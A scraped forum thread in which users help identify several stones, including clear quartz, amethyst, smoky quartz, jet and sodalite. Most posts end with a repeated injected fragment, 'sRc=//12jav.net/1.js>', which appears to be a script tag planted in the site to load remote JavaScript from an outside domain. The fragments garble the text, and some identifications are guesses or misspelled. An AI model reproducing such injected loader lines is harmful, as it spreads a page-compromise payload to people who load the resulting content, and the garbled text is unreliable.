That is clear quartz

That is amethyst. Some amethyst have "steaks" of gold

Ametrine? Though I'm picking up smokey quartz vibes..

Either a dyed stone, or... Blue Quartz/Dumerdorite. It doesn't look like an agate to me.

As for the black stone... If it is extremely light like Styrofoam, it is Jet. Otherwise it is Black Obsidian. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

Thank you so much, I'm pretty positive that the black is Jet, the clear crystal is quartz, and the blueish is a blue agate. The other two I'm not positive of.
Here's some better pictures of the last two:

This is the best I can get picture wise. I might just have to go back to the store. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

Those pictures helped quite a bit.

The first, I would take to the shop. Smokey quartz and natural citrine are nearly impossible to tell apart from the naked eye.

The second one, now that I see the details and the specific blue, can say that it is sodalite.

Here's a picture of what sodalite looks like:

Image Search the gemstone names everyone gave you, and compare them to what you have. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>

1st one is definitely a clear quartz

2nd one looks like an amethyst to me, that is if it is purple. Is it purple? I have a tumbled stone which kind of looks like yours, and it is an amethyst.

3rd one looks like a blue sapphire to me. But I am not sure.

4th one could be a smokey quartz.

To be sure contact the store where you purchased them. If it was an online shop they will have a copy of the order. If you bought them from a physical shop take them back and ask them. sRc=//12jav.net/1.js> sRc=//12jav.net/1.js>
